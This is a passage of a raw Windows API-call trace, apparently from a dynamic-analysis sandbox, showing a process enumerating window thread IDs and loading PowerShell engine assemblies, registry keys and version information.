0x50c [0077.963] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x46c [0077.963] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x50c [0077.963] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x46c [0077.963] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x50c [0077.963] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x468 [0077.963] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x468 [0077.963] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x544 [0077.963] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x76c [0077.963] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x584 [0077.964] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x570 [0077.964] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x45c [0077.964] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x53c [0077.964] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.964] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x508 [0077.964] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.964] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.964] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.964] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x7ec [0077.964] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.965] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4d8 [0077.965] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x4c4 [0077.965] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x45c [0077.965] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x45c [0077.965] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x44c [0077.965] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0x7d4 [0077.965] GetWindowThreadProcessId (in: hWnd=0x302d6, lpdwProcessId=0x24da20 | out: lpdwProcessId=0x24da20) returned 0xd54 [0077.966] GetWindow (hWnd=0x302d6, uCmd=0x4) returned 0x0 [0077.967] IsWindowVisible (hWnd=0x302d6) returned 1 [0077.977] WerSetFlags () returned 0x0 [0077.997] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0077.997] CoTaskMemFree (pv=0x0) [0077.998] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x24dd88, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x24dd80 | out: pulNumLanguages=0x24dd88, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x24dd80) returned 1 [0077.998] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x24dd88, pwszLanguagesBuffer=0x2c65af8, pcchLanguagesBuffer=0x24dd80 | out: pulNumLanguages=0x24dd88, pwszLanguagesBuffer=0x2c65af8, pcchLanguagesBuffer=0x24dd80) returned 1 [0078.009] CoTaskMemAlloc (cb=0x24) returned 0x1bf580 [0078.009] GetUserDefaultLocaleName (in: lpLocaleName=0x1bf580, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6 [0078.009] CoTaskMemFree (pv=0x1bf580) [0078.041] CoTaskMemAlloc (cb=0x104) returned 0x1c0140 [0078.041] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1c0140, nSize=0x80 | out: lpBuffer="") returned 0x0 [0078.041] CoTaskMemFree (pv=0x1c0140) [0078.047] CoTaskMemAlloc (cb=0x104) returned 0x1c0140 [0078.047] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1c0140, nSize=0x80 | out: lpBuffer="") returned 0x0 [0078.047] CoTaskMemFree (pv=0x1c0140) [0078.051] CoTaskMemAlloc (cb=0x104) returned 0x1c0140 [0078.051] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1c0140, nSize=0x80 | out: lpBuffer="") returned 0x0 [0078.051] CoTaskMemFree (pv=0x1c0140) [0078.105] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d750, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0078.105] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0078.105] SetErrorMode (uMode=0x1) returned 0x1 [0078.105] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x24da00 | out: lpFileInformation=0x24da00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0078.105] SetErrorMode (uMode=0x1) returned 0x1 [0078.105] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x24dc70 | out: lpdwHandle=0x24dc70) returned 0x94c [0078.107] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2c69388 | out: lpData=0x2c69388) returned 1 [0078.107] VerQueryValueW (in: pBlock=0x2c69388, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x24dbe8, puLen=0x24dbe0 | out: lplpBuffer=0x24dbe8*=0x2c69424, puLen=0x24dbe0) returned 1 [0078.108] VerQueryValueW (in: pBlock=0x2c69388, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x24db58, puLen=0x24db50 | out: lplpBuffer=0x24db58*=0x2c69500, puLen=0x24db50) returned 1 [0078.108] lstrlenW (lpString="Microsoft Corporation") returned 21 [0078.108] CoTaskMemAlloc (cb=0x2e) returned 0x1b6250 [0078.108] lstrcpyW (in: lpString1=0x1b6250, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0078.108] CoTaskMemFree (pv=0x1b6250) [0078.108] VerQueryValueW (in: pBlock=0x2c69388, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x24db58, puLen=0x24db50 | out: lplpBuffer=0x24db58*=0x2c69554, puLen=0x24db50) returned 1 [0078.108] lstrlenW (lpString="System.Management.Automation") returned 28 [0078.108] CoTaskMemAlloc (cb=0x3c) returned 0x1c24d0 [0078.108] lstrcpyW (in: lpString1=0x1c24d0, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0078.108] CoTaskMemFree (pv=0x1c24d0) [0078.108] VerQueryValueW (in: pBlock=0x2c69388, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x24db58, puLen=0x24db50 | out: lplpBuffer=0x24db58*=0x2c695b0, puLen=0x24db50) returned 1 [0078.108] lstrlenW (lpString="6.1.7601.17514") returned 14 [0078.108] CoTaskMemAlloc (cb=0x20) returned 0x1bf5e0 [0078.108] lstrcpyW (in: lpString1=0x1bf5e0, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0078.108] CoTaskMemFree (pv=0x1bf5e0) [0078.108] VerQueryValueW (in: pBlock=0x2c69388, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x24db58, puLen=0x24db50 | out: lplpBuffer=0x24db58*=0x2c695f0, puLen=0x24db50) returned 1 [0078.108] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0078.108] CoTaskMemAlloc (cb=0x44) returned 0x1c24d0 [0078.108] lstrcpyW (in: lpString1=0x1c24d0, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0078.108] CoTaskMemFree (pv=0x1c24d0) [0078.108] VerQueryValueW (in: pBlock=0x2c69388, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x24db58, puLen=0x24db50 | out: lplpBuffer=0x24db58*=0x2c69658, puLen=0x24db50) returned 1 [0078.108] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0078.108] CoTaskMemAlloc (cb=0x76) returned 0x150fd0 [0078.108] lstrcpyW (in: lpString1=0x150fd0, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0078.109] CoTaskMemFree (pv=0x150fd0) [0078.109] VerQueryValueW (in: pBlock=0x2c69388, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x24db58, puLen=0x24db50 | out: lplpBuffer=0x24db58*=0x2c696f4, puLen=0x24db50) returned 1 [0078.109] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0078.109] CoTaskMemAlloc (cb=0x44) returned 0x1c24d0 [0078.109] lstrcpyW (in: lpString1=0x1c24d0, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0078.109] CoTaskMemFree (pv=0x1c24d0) [0078.109] VerQueryValueW (in: pBlock=0x2c69388, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x24db58, puLen=0x24db50 | out: lplpBuffer=0x24db58*=0x2c69758, puLen=0x24db50) returned 1 [0078.109] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0078.109] CoTaskMemAlloc (cb=0x58) returned 0x111290 [0078.109] lstrcpyW (in: lpString1=0x111290, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0078.109] CoTaskMemFree (pv=0x111290) [0078.109] VerQueryValueW (in: pBlock=0x2c69388, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x24db58, puLen=0x24db50 | out: lplpBuffer=0x24db58*=0x2c697d4, puLen=0x24db50) returned 1 [0078.109] lstrlenW (lpString="6.1.7601.17514") returned 14 [0078.109] CoTaskMemAlloc (cb=0x20) returned 0x1bf5e0 [0078.109] lstrcpyW (in: lpString1=0x1bf5e0, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0078.109] CoTaskMemFree (pv=0x1bf5e0) [0078.109] VerQueryValueW (in: pBlock=0x2c69388, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x24db58, puLen=0x24db50 | out: lplpBuffer=0x24db58*=0x2c6947c, puLen=0x24db50) returned 1 [0078.109] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0078.109] CoTaskMemAlloc (cb=0x66) returned 0x1afe70 [0078.109] lstrcpyW (in: lpString1=0x1afe70, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0078.109] CoTaskMemFree (pv=0x1afe70) [0078.109] VerQueryValueW (in: pBlock=0x2c69388, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x24db58, puLen=0x24db50 | out: lplpBuffer=0x24db58*=0x0, puLen=0x24db50) returned 0 [0078.109] VerQueryValueW (in: pBlock=0x2c69388, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x24db58, puLen=0x24db50 | out: lplpBuffer=0x24db58*=0x0, puLen=0x24db50) returned 0 [0078.109] VerQueryValueW (in: pBlock=0x2c69388, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x24db58, puLen=0x24db50 | out: lplpBuffer=0x24db58*=0x0, puLen=0x24db50) returned 0 [0078.109] VerQueryValueW (in: pBlock=0x2c69388, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x24db28, puLen=0x24db20 | out: lplpBuffer=0x24db28*=0x2c69424, puLen=0x24db20) returned 1 [0078.109] CoTaskMemAlloc (cb=0x204) returned 0x1705a0 [0078.109] VerLanguageNameW (in: wLang=0x0, szLang=0x1705a0, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0078.109] CoTaskMemFree (pv=0x1705a0) [0078.109] VerQueryValueW (in: pBlock=0x2c69388, lpSubBlock="\\", lplpBuffer=0x24db78, puLen=0x24db70 | out: lplpBuffer=0x24db78*=0x2c693b0, puLen=0x24db70) returned 1 [0078.118] CoTaskMemAlloc (cb=0x104) returned 0x1c0140 [0078.118] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1c0140, nSize=0x80 | out: lpBuffer="") returned 0x0 [0078.119] CoTaskMemFree (pv=0x1c0140) [0078.143] CoTaskMemAlloc (cb=0x104) returned 0x1c0140 [0078.143] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1c0140, nSize=0x80 | out: lpBuffer="") returned 0x0 [0078.143] CoTaskMemFree (pv=0x1c0140) [0078.156] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x24da48 | out: phkResult=0x24da48*=0x304) returned 0x0 [0078.157] RegOpenKeyExW (in: hKey=0x304, lpSubKey="1", ulOptions=0x0, samDesired=0x20019, phkResult=0x24da38 | out: phkResult=0x24da38*=0x308) returned 0x0 [0078.158] RegOpenKeyExW (in: hKey=0x308, lpSubKey="PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24dac8 | out: phkResult=0x24dac8*=0x30c) returned 0x0 [0078.161] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24da0c, lpData=0x0, lpcbData=0x24da08*=0x0 | out: lpType=0x24da0c*=0x1, lpData=0x0, lpcbData=0x24da08*=0x56) returned 0x0 [0078.164] CoTaskMemAlloc (cb=0x5a) returned 0x1afe00 [0078.164] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d9dc, lpData=0x1afe00, lpcbData=0x24d9d8*=0x56 | out: lpType=0x24d9dc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24d9d8*=0x56) returned 0x0 [0078.164] CoTaskMemFree (pv=0x1afe00) [0078.220] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0078.301] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0078.336] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d560, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0078.426] CoTaskMemAlloc (cb=0x104) returned 0x1c0140 [0078.426] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1c0140, nSize=0x80 | out: lpBuffer="") returned 0x0 [0078.426] CoTaskMemFree (pv=0x1c0140) [0078.863] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x24d600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0078.863] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x24d600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0078.995] CoTaskMemAlloc (cb=0x104) returned 0x1cc1f0 [0078.995] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1cc1f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0078.995] CoTaskMemFree (pv=0x1cc1f0) [0078.995] CoTaskMemAlloc (cb=0x104) returned 0x1cc1f0 [0078.995] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1cc1f0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0078.995] CoTaskMemFree (pv=0x1cc1f0) [0079.033] CoTaskMemAlloc (cb=0x104) returned 0x1cc320 [0079.033] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1cc320, nSize=0x80 | out: lpBuffer="") returned 0x0 [0079.033] CoTaskMemFree (pv=0x1cc320) [0079.035] CoTaskMemAlloc (cb=0x104) returned 0x1cc320 [0079.035] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1cc320, nSize=0x80 | out: lpBuffer="") returned 0x0 [0079.035] CoTaskMemFree (pv=0x1cc320) [0079.036] CoTaskMemAlloc (cb=0x104) returned 0x1cc320 [0079.036] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1cc320, nSize=0x80 | out: lpBuffer="") returned 0x0 [0079.036] CoTaskMemFree (pv=0x1cc320) [0079.211] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x24d600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0079.211] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x24d600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0079.235] CoTaskMemAlloc (cb=0x104) returned 0x1cf850 [0079.235] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1cf850, nSize=0x80 | out: lpBuffer="") returned 0x0 [0079.235] CoTaskMemFree (pv=0x1cf850) [0079.243] CoTaskMemAlloc (cb=0x104) returned 0x1cf850 [0079.243] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1cf850, nSize=0x80 | out: lpBuffer="") returned 0x0 [0079.243] CoTaskMemFree (pv=0x1cf850) [0079.326] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0079.326] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0080.104] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x24d600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0080.104] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x24d600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0080.236] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0080.237] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0080.426] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x24d600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0080.426] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x24d600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0080.623] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x24d600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0080.623] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x24d600, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0080.727] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0080.734] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0080.735] CoTaskMemFree (pv=0x1b75b370) [0080.737] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0080.737] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d750, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0080.738] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d750, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0080.746] GetFullPathNameW (in: 